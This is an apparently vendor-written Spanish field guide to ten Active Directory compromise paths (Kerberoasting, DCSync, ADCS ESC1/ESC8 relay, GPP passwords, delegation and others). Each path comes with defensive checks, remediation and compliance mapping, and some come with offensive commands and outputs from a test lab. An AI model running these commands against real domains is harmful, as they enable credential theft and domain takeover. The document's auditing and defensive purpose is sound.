Skip to content

Las 10 vías de compromiso de Active Directory | ADscan

Las 10 vías de compromiso de Active Directory que veo en auditoría, con detección defensiva, verificación ofensiva y control DORA/NIS2/ENS. Guía de campo.

Yeray Martín
Yeray Martín · 22 min de lectura

Las 10 vías de compromiso de Active Directory que veo una y otra vez

Un informe de higiene te dice qué está mal configurado. Un scoring te da un número del 0 al 100. Ninguno de los dos te dice si un atacante que entra hoy con una cuenta de usuario normal llega a Domain Admin.

Esta es una guía de campo para equipos de AD y CISO de entidad regulada española (DORA, NIS2, ENS). Diez caminos que aparecen en auditoría tras auditoría, cada uno con la comprobación defensiva que corres en tu propio controlador de dominio y la verificación ofensiva que demuestra que un atacante puede usarlo de verdad. No es un ranking estadístico por frecuencia: ese dato público y honesto no existe, y el orden aquí es juicio de campo, no una tabla de porcentajes.

Ocho de las diez vías están verificadas con ejecución real en un laboratorio GOAD (Game of Active Directory), incluidos los comandos con su salida real. Es un entorno de pruebas, no datos de ningún cliente, y va marcado como tal en cada bloque. Las dos restantes, más la delegación y la explotación ESC1, llevan comando verificado contra documentación canónica (impacket, Certipy v5.0.4, Microsoft Learn), no ejecutado en este lab.

¿Por qué un entorno conforme sigue siendo explotable?

Porque la detección demuestra presencia y la explotación demuestra explotabilidad, y no son lo mismo. Un informe de configuración comprueba ajustes: existe un ticket kerberoasteable, existe una ACL peligrosa, existe una plantilla de certificado abierta. El atacante encadena esas condiciones. Puedes pasar una auditoría documental con siete controles en verde y una delegación mal puesta seguir cayendo en una tarde.

Los números públicos verificados sitúan bien la apuesta. Mandiant reporta que aproximadamente 9 de cada 10 intrusiones que investigan tocan Active Directory en algún punto de la cadena (M-Trends). Semperis, en su informe de ransomware 2025, encuentra que el 83% de los ataques de ransomware comprometen sistemas de identidad, con una mediana de alrededor de 11 horas desde el acceso inicial hasta el compromiso de AD (2025 Ransomware Risk Report). Verizon DBIR 2025 atribuye el 22% de las brechas al abuso de credenciales como vector inicial (DBIR).

Cada vía de este documento tiene dos caras. La detección defensiva es lo que corres tú, en tu DC, con PowerShell nativo o herramientas de auditoría: demuestra que la condición existe. La verificación ofensiva es lo que demuestra que la condición lleva a algún sitio desde la posición de un atacante. Cada sección mapea además a un control de compliance como ejemplo, para que el hallazgo técnico tenga su ancla regulatoria cuando lo lleves a comité.

Una nota de honestidad antes de seguir: ni DORA, ni NIS2, ni el ENS nombran "Kerberoasting" o "Active Directory" en su articulado. El mapeo de cada vía a un control concreto es una lectura técnica nuestra, defendible ante un auditor, no una cita literal de la norma.

¿Cómo se lee cada vía?

Cada una de las diez secciones responde a lo mismo: qué es en dos frases, por qué aparece en casi todos los dominios, qué señal observable mirar antes de correr nada, el comando de detección defensiva, la verificación ofensiva que prueba explotabilidad, la remediación concreta (no "aplique el principio de mínimo privilegio") y un control de compliance de ejemplo.

Antes del detalle, el resumen de vía a control:

#VíaControl de ejemplo
1Credenciales débiles y password sprayingENS op.acc.5 / op.acc.6
2KerberoastingDORA Art. 21 (identidades y acceso)
3Abuso de ACL / permisos peligrososENS op.acc.4
4DCSyncNIS2 Art. 21.2(i)
5ADCS ESC1 / ESC8DORA Art. 21 (PKI como TIC crítica)
6Coerción de autenticación + NTLM relayNIS2 Art. 21.2(g)
7Credenciales en shares y GPPENS op.acc.6
8Delegación (unconstrained, constrained, RBCD)DORA Art. 21
9AS-REP roastingENS op.acc.5
10Cruce de tiers y LAPS ausenteNIS2 Art. 21.2(i) + ENS op.acc.4

Vía 1. Credenciales débiles y password spraying

Qué es. Contraseñas adivinables o reutilizadas que un atacante prueba a baja frecuencia contra muchas cuentas a la vez, evitando el bloqueo. En lugar de martillear una cuenta con miles de intentos, prueba una contraseña común contra todo el directorio y se cuela por la más floja.

Por qué es tan común. Las políticas heredadas premian complejidad sobre longitud, la gente elige patrones estacionales (Empresa2026!, Verano2026), y las cuentas de servicio antiguas rara vez rotan. El umbral de bloqueo protege una cuenta, no defiende al dominio de un intento por cuenta.

Señal observable. Cuentas con PasswordNeverExpires y contraseñas sin rotar durante años, umbral de bloqueo alto o inexistente, ausencia de banned-password list, y un badPwdCount que sube de forma distribuida en muchas cuentas a la vez.

Detección defensiva. Verificado en laboratorio (GOAD essos).

Get-ADUser -Filter * -Properties PasswordLastSet,PasswordNeverExpires |
  Where { $_.PasswordLastSet -lt (Get-Date).AddDays(-90) -and $_.Enabled }

En el dominio de laboratorio todas las cuentas salieron con PasswordNeverExpires=True. Cruzado con la enumeración de netexec (nxc smb <dc> -u <u> -p <p> --users, columnas Username / Last PW Set / BadPW / Description), la cuenta vagrant tenía la contraseña sin rotar desde 2017.

Verificación ofensiva. Verificado en laboratorio (GOAD essos).

nxc smb 192.168.180.12 -u <usuario> -p <password> --users

La columna Last PW Set deja ver a simple vista las cuentas latentes (vagrant, sin rotar desde 2017), candidatas directas a spraying de baja frecuencia contra el resto del directorio.

Remediación. Longitud mínima 14+, banned-password list (Azure AD Password Protection también on-prem), bloqueo inteligente con ventana de observación, y auditoría de eventos 4771/4625 distribuidos. Rotar y auditar cuentas de servicio con PasswordNeverExpires.

Compliance (ejemplo). ENS op.acc.5 (mecanismo de autenticación) y op.acc.6 (gestión de credenciales de acceso).

Vía 2. Kerberoasting

Qué es. Cualquier usuario autenticado puede pedir un ticket de servicio (TGS) para una cuenta con SPN. Ese ticket va cifrado con el hash de la contraseña de la cuenta de servicio, así que el atacante lo saca offline y lo crackea sin volver a tocar el DC.

Por qué es tan común. Las cuentas de servicio con SPN llevan años en el dominio, tienen contraseñas puestas a mano en su día y nunca rotadas, y muchas son miembros de grupos privilegiados "porque la aplicación lo necesitaba". RC4 sigue habilitado en la mayoría de dominios, lo que hace el crackeo trivial.

Señal observable. Cuentas de usuario (no gMSA) con servicePrincipalName poblado y tipo de cifrado que permite RC4. Un pico de eventos 4769 con RC4 es la huella.

Detección defensiva. Verificado en laboratorio (GOAD essos).

Get-ADUser -Filter {ServicePrincipalName -like '*'} -Properties ServicePrincipalName,PasswordLastSet

Salió sql_svc con SPN MSSQLSvc/braavos.essos.local y PasswordLastSet de 5/1/2026, una cuenta de servicio kerberoasteable.

Verificación ofensiva. Verificado en laboratorio (GOAD essos).

GetUserSPNs.py essos.local/daenerys.targaryen:'<password>' -dc-ip 192.168.180.12 -request

Se obtuvo el ticket de sql_svc como hash $krb5tgs$23$... (el 23 es RC4, así que este mismo resultado prueba también la vía 10). El hash se craquea offline con hashcat -m 13100 sin volver a tocar el DC. Para el detalle completo, la guía de Kerberoasting.

Remediación. Migrar cuentas de servicio a gMSA (contraseñas de 120 caracteres gestionadas por AD, rotación automática). Para las que no puedan migrar, contraseña 25+ aleatoria y forzar AES. Sacar las cuentas de servicio de grupos privilegiados.

Compliance (ejemplo). DORA Art. 21: gestión de identidades y acceso dentro del marco de gestión de riesgos TIC.

Vía 3. Abuso de ACL y permisos peligrosos

Qué es. Permisos delegados sobre objetos de AD (GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword) que dejan a un principal de bajo privilegio tomar control de otro objeto: resetear una contraseña, añadirse a un grupo, o apoderarse de una OU entera.

Por qué es tan común. La delegación se hace a mano y se acumula durante años. Un helpdesk con ForceChangePassword sobre "todos los usuarios", un grupo anidado que hereda permisos que nadie recuerda haber dado, una OU delegada a un equipo que ya no existe. Nadie audita el DACL efectivo.

Señal observable. ACEs no estándar sobre objetos privilegiados o sobre el propio dominio, principals de bajo privilegio con derechos de escritura sobre grupos o cuentas de alto valor, anidamiento de grupos que oculta el privilegio efectivo.

Detección defensiva. Comando verificado contra documentación canónica (impacket, Certipy v5.0.4, Microsoft Learn).

dacledit.py -action read -target '<objetivo>' essos.local/<usuario>:'<password>' -dc-ip 192.168.180.12

Lee las ACEs efectivas sobre el objeto (dacledit.py acepta -rights FullControl,ResetPassword,WriteMembers,DCSync,Custom). En este lab la familia de abuso de ACL quedó cubierta end-to-end por la vía 4 (DCSync); este comando concreto no se ejecutó contra el laboratorio.

Verificación ofensiva. Comando verificado contra documentación canónica.

bloodyAD --host 192.168.180.12 -d essos.local -u <usuario> -p '<password>' add genericAll '<objetivo>' <principal_atacante>

Concede GenericAll sobre el objeto destino desde un principal controlado; a partir de ahí el atacante resetea la contraseña, se añade al grupo o toma la OU. No ejecutado contra este laboratorio: la explotación de esta familia se demostró vía DCSync (vía 4).

Remediación. Revisar y retirar ACEs no justificados sobre objetos Tier 0. Sustituir delegaciones amplias por delegación granular y documentada. Auditar el anidamiento de grupos y colapsar cadenas heredadas.

Compliance (ejemplo). ENS op.acc.4 (proceso de gestión de derechos de acceso): revisión periódica del privilegio efectivo, no solo del asignado.

Vía 4. DCSync

Qué es. Un principal con los derechos de replicación de directorio (DS-Replication-Get-Changes y -All) puede pedirle al DC que le replique los hashes de contraseña de cualquier cuenta, incluida krbtgt. Es la extracción de credenciales del dominio entero sin tocar disco en el DC.

Conviene situarla bien. DCSync es, sobre todo, la técnica post-compromiso más habitual: la que ejecuta quien ya es Domain Admin para volcar el NTDS y crackear todos los hashes. Como vía de entrada o de escalada solo aparece en un caso concreto, y por eso está en esta lista: cuando una cuenta que no es un DC tiene derechos de replicación mal concedidos. Si no hay ese derecho olvidado, DCSync llega cuando ya eres Domain Admin: es la herramienta con la que un atacante consolida el dominio una vez dentro y se lleva todas las credenciales.

Por qué es tan común. Los derechos de replicación se conceden a cuentas de servicio de sincronización (Azure AD Connect, backups, herramientas de migración) y luego quedan olvidados. Basta que el atacante llegue a una de esas cuentas, o a cualquier objeto con ACL que le deje concederse el derecho a sí mismo.

Señal observable. Principals no-DC con derechos extendidos de replicación en el DACL del dominio. Eventos 4662 con los GUID de replicación desde cuentas que no son controladores de dominio.

Detección defensiva. Verificado en laboratorio (GOAD essos).

dsacls 'DC=essos,DC=local' | Select-String 'Replicating Directory Changes All'

Lista los principals con el derecho DS-Replication-Get-Changes-All sobre el dominio. Tras conceder el derecho a un usuario raso de prueba (adscan), el comando lo delató como principal no-DC con replicación.

Verificación ofensiva. Verificado en laboratorio (GOAD essos).

secretsdump.py essos.local/adscan:'<password>'@192.168.180.12 -just-dc-user krbtgt

Con un usuario raso (adscan, no Domain Admin) al que se le concedió el derecho de replicación, se replicó el hash NT de krbtgt más sus claves AES. Reversión verificada: al retirar el derecho (bloodyAD ... remove dcsync adscan), un secretsdump posterior falló con 0x20f7. El laboratorio quedó limpio. El detalle completo, en la guía de DCSync.

Remediación. Retirar los derechos de replicación de cualquier principal que no sea un DC. Cuentas de sincronización con el mínimo derecho necesario y monitorizadas. Si hubo DCSync, krbtgt está comprometida: doble reseteo de krbtgt.

Compliance (ejemplo). NIS2 Art. 21.2(i): políticas de control de acceso y gestión de activos; el acceso a la replicación del directorio es acceso al activo más crítico.

Vía 5. ADCS ESC1 / ESC8

Qué es. Servicios de Certificados mal configurados. ESC1: una plantilla deja que el solicitante especifique un SAN arbitrario, así que pide un certificado "en nombre de" un Domain Admin y autentica como él. ESC8: el endpoint web de inscripción (HTTP) es coaccionable vía NTLM relay hacia la CA.

Por qué es tan común. ADCS se despliega una vez, con plantillas por defecto o copiadas de una guía, y nadie vuelve a mirarlo. Las plantillas permisivas y el endpoint web sin Extended Protection for Authentication son el estado de fábrica en muchos entornos.

Señal observable. Plantillas con ENROLLEE_SUPPLIES_SUBJECT y EKU de autenticación de cliente, permisos de inscripción amplios, y el rol Web Enrollment (certsrv) habilitado sobre HTTP.

Detección defensiva. Verificado en laboratorio (GOAD essos).

certipy find -u [email protected] -p '<password>' -dc-ip 192.168.180.12 -vulnerable -stdout

Desde un usuario raso salió la CA ESSOS-CA en braavos marcada con ESC6, ESC8 (Web Enrollment sobre HTTP) y ESC11, más plantillas vulnerables a ESC9/ESC3. Enumeración verificada; el chequeo HTTP del web enrollment dio "Connection refused" hasta que el IIS de braavos terminó de arrancar.

Verificación ofensiva. Verificado en laboratorio (GOAD essos), ESC8 end-to-end. La cadena ESC8 completa (coerción del DC → NTLM relay → la CA emite el certificado del DC) está verificada en la vía 6: ese es el resultado ofensivo real de este lab. La explotación ESC1 (subject arbitrario) se documenta con comando canónico, no ejecutado aquí:

# ESC1. Comando verificado contra documentación canónica (Certipy v5.0.4)
certipy req -u <usuario> -p <password> -dc-ip 192.168.180.12 -target <CA_host> -ca ESSOS-CA \
  -template <plantilla_vuln> -upn [email protected] -sid <SID_dominio>-500
certipy auth -pfx administrator.pfx

El primer comando pide un certificado "en nombre de" administrator (SAN arbitrario); el segundo autentica con ese pfx. Guías dedicadas: ADCS ESC1 y ADCS ESC8 con NTLM relay.

Remediación. ESC1: quitar ENROLLEE_SUPPLIES_SUBJECT de plantillas con EKU de autenticación, o restringir la inscripción y exigir aprobación del gestor. ESC8: deshabilitar Web Enrollment si no se usa, forzar HTTPS con EPA, y activar Extended Protection en la CA.

Compliance (ejemplo). DORA Art. 21: la PKI corporativa es infraestructura TIC crítica; su configuración entra en el marco de gestión de riesgos.

Vía 6. Coerción de autenticación y NTLM relay

Qué es. Se fuerza a una máquina (a menudo un DC) a autenticarse contra un host controlado por el atacante (PetitPotam, PrinterBug, Coercer), y esa autenticación NTLM se reenvía a otro servicio que no exige firma: LDAP, ADCS, o un segundo DC. El resultado va desde tomar control de un objeto hasta emitirse un certificado de DC.

Por qué es tan común. La firma SMB y el channel binding de LDAP no vienen forzados por defecto en dominios antiguos, y los métodos de coerción usan RPC legítimo que no se puede simplemente apagar. Es la combinación de dos ajustes flojos lo que abre el camino.

Señal observable. Firma SMB no requerida, channel binding LDAP en modo "none" o "when supported", EPA ausente en ADCS, y tráfico de autenticación de máquina hacia hosts que no son servidores de infraestructura.

Detección defensiva. Verificado en laboratorio (GOAD essos).

Get-SmbServerConfiguration | Select RequireSecuritySignature
# Channel binding LDAP: HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding (debe ser 2)
# EPA en el rol Web Enrollment de la CA (certsrv)

Comprueba los tres ajustes que abren el relay: firma SMB, channel binding LDAP y EPA en ADCS.

Verificación ofensiva. Verificado en laboratorio (GOAD essos). Cadena completa: coerción → relay → certificado del DC.

# 1) Relay a la CA (root), plantilla de DC
sudo certipy relay -target 'http://192.168.180.23' -template DomainController
# 2) Coerción del DC desde un usuario RASO
nxc smb 192.168.180.12 -u adscan -p '<password>' -d essos.local -M coerce_plus -o LISTENER=<mi-ip>

meereen (el DC) salió vulnerable a DFSCoerce/PetitPotam/PrinterBug/MSEven ("Exploit Success" por spoolss). El DC (MEEREEN$) autenticó contra el relay, que lo reenvió al certsrv de braavos; la CA emitió el certificado de la cuenta de máquina del DC (ReqID 3 → meereen.pfx). Un usuario sin privilegios acabó con el certificado del propio DC. Nota operativa: el IIS de braavos tardó unos minutos en servir /certsrv (hasta devolver HTTP 401 el relay daba "connection refused"). La coerción no modifica el directorio; el pfx local se borró.

Remediación. Forzar firma SMB y channel binding LDAP (LdapEnforceChannelBinding). EPA en ADCS y en cualquier endpoint HTTP autenticado. Aplicar los parches de las vías de coerción conocidas y restringir RPC donde se pueda.

Compliance (ejemplo). NIS2 Art. 21.2(g): higiene básica de ciberseguridad; la firma y el channel binding son controles de base, no opcionales.

Vía 7. Credenciales en shares y GPP

Qué es. Contraseñas guardadas en texto o cifrado reversible en recursos compartidos: scripts de despliegue, ficheros de configuración, y el clásico cpassword de Group Policy Preferences, cuya clave AES publicó Microsoft. Cualquier usuario del dominio con lectura sobre SYSVOL o el share las encuentra.

Por qué es tan común. SYSVOL es legible por todo usuario autenticado por diseño. Los GPP con contraseñas se crearon hace años y siguen en el histórico aunque ya no se apliquen. Los shares de despliegue acumulan credenciales que "eran temporales".

Señal observable. Ficheros Groups.xml, Services.xml, ScheduledTasks.xml con atributo cpassword en SYSVOL; strings tipo password/pwd/secret en scripts de shares abiertos; permisos de share demasiado amplios.

Detección defensiva. Comando verificado contra documentación canónica (impacket, Certipy v5.0.4, Microsoft Learn).

findstr /S /I cpassword \\essos.local\SYSVOL\essos.local\Policies\*.xml

Busca el atributo cpassword en todo el árbol de políticas de SYSVOL. No ejecutado contra este laboratorio.

Verificación ofensiva. Comando verificado contra documentación canónica.

nxc smb 192.168.180.12 -u <usuario> -p '<password>' -M gpp_password

El módulo localiza los ficheros GPP con cpassword y lo descifra con la clave AES publicada por Microsoft, devolviendo la credencial en claro. No ejecutado contra este laboratorio.

Remediación. Eliminar todo cpassword de SYSVOL (incluido el histórico), rotar cualquier credencial expuesta, y aplicar el parche KB2962486 que impide crear nuevos GPP con contraseña. Escanear shares por secretos de forma periódica y cerrar permisos.

Compliance (ejemplo). ENS op.acc.6: mecanismo de autenticación; una credencial legible en un share no cumple ningún requisito de custodia.

Vía 8. Delegación (unconstrained, constrained, RBCD)

Qué es. La delegación de Kerberos deja que un servicio actúe en nombre de un usuario. Mal puesta, se convierte en escalada. Unconstrained: el servicio guarda el TGT completo de quien lo visita (incluido un DA). Constrained y RBCD: si controlas el objeto delegante, te suplantas a cualquiera contra el servicio destino.

Por qué es tan común. La delegación unconstrained era la única opción en versiones antiguas y quedó en servidores heredados. RBCD se puede configurar desde el atributo msDS-AllowedToActOnBehalfOfOtherIdentity de un objeto, así que cualquier ACL de escritura sobre una máquina abre la puerta.

Señal observable. Cuentas con TrustedForDelegation (unconstrained) que no sean DC, msDS-AllowedToDelegateTo poblado en cuentas inesperadas, y msDS-AllowedToActOnBehalfOfOtherIdentity puesto donde no debería (RBCD).

Detección defensiva. Comando verificado contra documentación canónica (impacket, Certipy v5.0.4, Microsoft Learn).

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,msDS-AllowedToDelegateTo

Lista las máquinas con delegación unconstrained o constrained; para RBCD, leer msDS-AllowedToActOnBehalfOfOtherIdentity. No ejecutado contra este laboratorio.

Verificación ofensiva. Comando verificado contra documentación canónica.

nxc ldap 192.168.180.12 -u <usuario> -p '<password>' --find-delegation
# RBCD si controlas la máquina delegante:
rbcd.py -delegate-to '<TARGET$>' -delegate-from '<CONTROLADA$>' -action write essos.local/<usuario>:'<password>'

--find-delegation enumera las tres formas de delegación abusables; rbcd.py escribe el atributo RBCD para suplantar a cualquiera contra el servicio destino. No ejecutado contra este laboratorio.

Remediación. Eliminar la delegación unconstrained fuera de los DC. Marcar cuentas sensibles como Account is sensitive and cannot be delegated (o meterlas en Protected Users). Revisar quién tiene escritura sobre atributos de delegación de máquinas.

Compliance (ejemplo). DORA Art. 21: la configuración de suplantación de identidad entre servicios es control de acceso dentro del marco de gestión de riesgos TIC.

Vía 9. AS-REP roasting

Qué es. Cuentas con la preautenticación de Kerberos deshabilitada (DONT_REQ_PREAUTH) devuelven un AS-REP cifrado con el hash de su contraseña a quien lo pida, sin autenticar. El atacante lo saca offline y lo crackea, igual que en Kerberoasting pero sin necesitar ni una credencial válida para empezar.

Por qué es tan común. La preautenticación se desactiva para clientes antiguos o aplicaciones que no la soportan, y ese ajuste se queda. Basta una sola cuenta con DONT_REQ_PREAUTH y contraseña débil para dar un punto de entrada sin credenciales.

Señal observable. Cuentas con el flag DONT_REQ_PREAUTH en userAccountControl. Cualquiera es sospechosa; en grupos privilegiados es crítica.

Detección defensiva. Verificado en laboratorio (GOAD essos).

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

Salió missandei con DoesNotRequirePreAuth = True, roasteable sin ninguna credencial previa.

Verificación ofensiva. Verificado en laboratorio (GOAD essos).

GetNPUsers.py essos.local/ -no-pass -usersfile users.txt -format hashcat -dc-ip 192.168.180.12

Sin autenticar (-no-pass) se obtuvo el AS-REP cifrado de las cuentas con preautenticación deshabilitada. Se craquea offline con hashcat -m 18200. Guía completa: AS-REP roasting.

Remediación. Habilitar la preautenticación de Kerberos en toda cuenta que no la necesite de verdad. En las que deban mantenerla deshabilitada, contraseña larga y aleatoria y monitorización de sus AS-REQ.

Compliance (ejemplo). ENS op.acc.5: mecanismo de autenticación; una cuenta sin preautenticación debilita la garantía de identidad de todo el dominio.

Vía 10. Cruce de tiers y LAPS ausente

Qué es. El fallo de segmentación: credenciales de administración de alto nivel usadas en máquinas de bajo nivel, y contraseñas de administrador local idénticas en todo el parque. Un atacante que compromete una estación de trabajo saca de memoria la sesión de un admin de Tier 0, o reutiliza el mismo hash de admin local en cien equipos.

Por qué es tan común. El modelo de tiers exige disciplina operativa que se relaja bajo presión: el admin del dominio hace RDP a un servidor para "arreglar algo rápido". Y sin LAPS, la imagen dorada deja el mismo admin local en todas las máquinas para siempre.

Señal observable. Cifrado débil (RC4) habilitado en cuentas de servicio y krbtgt, cuentas de Tier 0 con sesiones o logon events en hosts de menor tier, ausencia de LAPS (ms-Mcs-AdmPwd o LAPS de Windows sin poblar), y misma contraseña de admin local reutilizada. El RC4 es el habilitador: convierte cualquier hash roasteado en crackeo trivial y todo movimiento lateral en pass-the-hash.

Detección defensiva. Verificado en laboratorio (GOAD essos).

Get-ADUser -Filter {ServicePrincipalName -like '*'} -Properties msDS-SupportedEncryptionTypes
# AES forzado si (($e -band 0x18) -ne 0); si el atributo es null => RC4 permitido

sql_svc y krbtgt salieron con msDS-SupportedEncryptionTypes = null (RC4 permitido). Con RC4 vivo, el hash roasteado de la vía 2 ($krb5tgs$23$) es crackeable de inmediato y el hash NT reutilizado se pasa lateralmente sin descifrar nada.

Verificación ofensiva. Verificado en laboratorio (GOAD essos).

GetUserSPNs.py essos.local/daenerys.targaryen:'<password>' -dc-ip 192.168.180.12 -request
# hash -> hashcat -m 13100 ; reutilización del hash NT -> nxc smb <objetivos> -H <hash>

El ticket de sql_svc volvió como $krb5tgs$23$.... El 23 es el tipo de cifrado RC4: la misma extracción que prueba el Kerberoasting demuestra que el cifrado débil está activo y hace el crackeo y el pass-the-hash triviales. La ausencia de LAPS y el cruce de tiers concretos (sesiones de Tier 0 en hosts de menor tier) no se capturaron por separado en este lab.

Remediación. Desplegar Windows LAPS para contraseñas de admin local únicas y rotadas. Aplicar el modelo de tiers con cuentas de administración separadas por nivel y restricción de logon (Authentication Policies / Silos, Protected Users para Tier 0). Prohibir el logon interactivo de cuentas Tier 0 en tiers inferiores.

Compliance (ejemplo). NIS2 Art. 21.2(i) + ENS op.acc.4: control de acceso y segregación; el cruce de tiers rompe la separación de privilegios que ambos exigen.

Del hallazgo al comité: cómo llevar esto a una auditoría

Diez vías, un patrón: cada una puede estar "documentada como riesgo aceptado" en un informe de configuración y seguir siendo un camino vivo a Domain Admin en tu red hoy. El informe te dijo que existía. No te dijo que un atacante llega desde una cuenta de usuario normal en una tarde.

Correr las detecciones defensivas de este documento te da la mitad del cuadro: la presencia. La otra mitad, la explotabilidad, es la que separa un hallazgo teórico de un riesgo real, y es la más incómoda de comprobar a mano una por una en un dominio de miles de objetos. Un auditor de DORA, NIS2 o ENS ya no se conforma con que el control esté documentado. Quiere ver que alguien comprobó técnicamente que funciona. Para el marco regulatorio completo, mira las guías de DORA para entidades financieras, NIS2 y ENS Alto, y la metodología completa de pentesting de Active Directory.

Si prefieres tenerlo como documento para guardarlo o pasárselo a tu equipo, esta guía está también en PDF con marca, las diez vías con sus comandos y su mapeo de compliance: descargar la guía de campo (PDF).

ADscan LITE hace ese trabajo gratis: enumera tu dominio, encuentra estas diez vías y las demás (104 técnicas de AD catalogadas, 71 ejecutables end-to-end, 79 findings, ADCS ESC1 a ESC17), y las mapea al control de compliance que te toca (DORA, NIS2, ENS). En vez de una lista de "esto podría ser explotable", te enseña qué camino existe de verdad y desde dónde. La detección demuestra presencia; ahí ves la explotabilidad.

ADscan es free y source-available. Puedes descargarlo, leer el código y correrlo en tu propia infraestructura sin que tus datos de AD salgan de ella.

Nota de verificación: 8 de las 10 vías están verificadas con ejecución real en laboratorio (GOAD essos: Kerberoasting, DCSync con su reversión, ESC8 y coerción end-to-end hasta el certificado del DC, AS-REP roasting, cifrado débil RC4, y cuentas latentes / password spraying), incluidos los comandos defensivos y ofensivos con su salida real. Las 2 restantes (abuso de ACL suelto y credenciales en GPP/shares), más la delegación y la explotación ESC1, llevan comando verificado contra documentación canónica (impacket, Certipy v5.0.4, Microsoft Learn), no ejecutado en este laboratorio, y van marcadas como tales en su bloque. GOAD es un entorno de pruebas: nada aquí procede de datos de cliente.

Las 10 vías de compromiso de Active Directory | ADscan | ADscan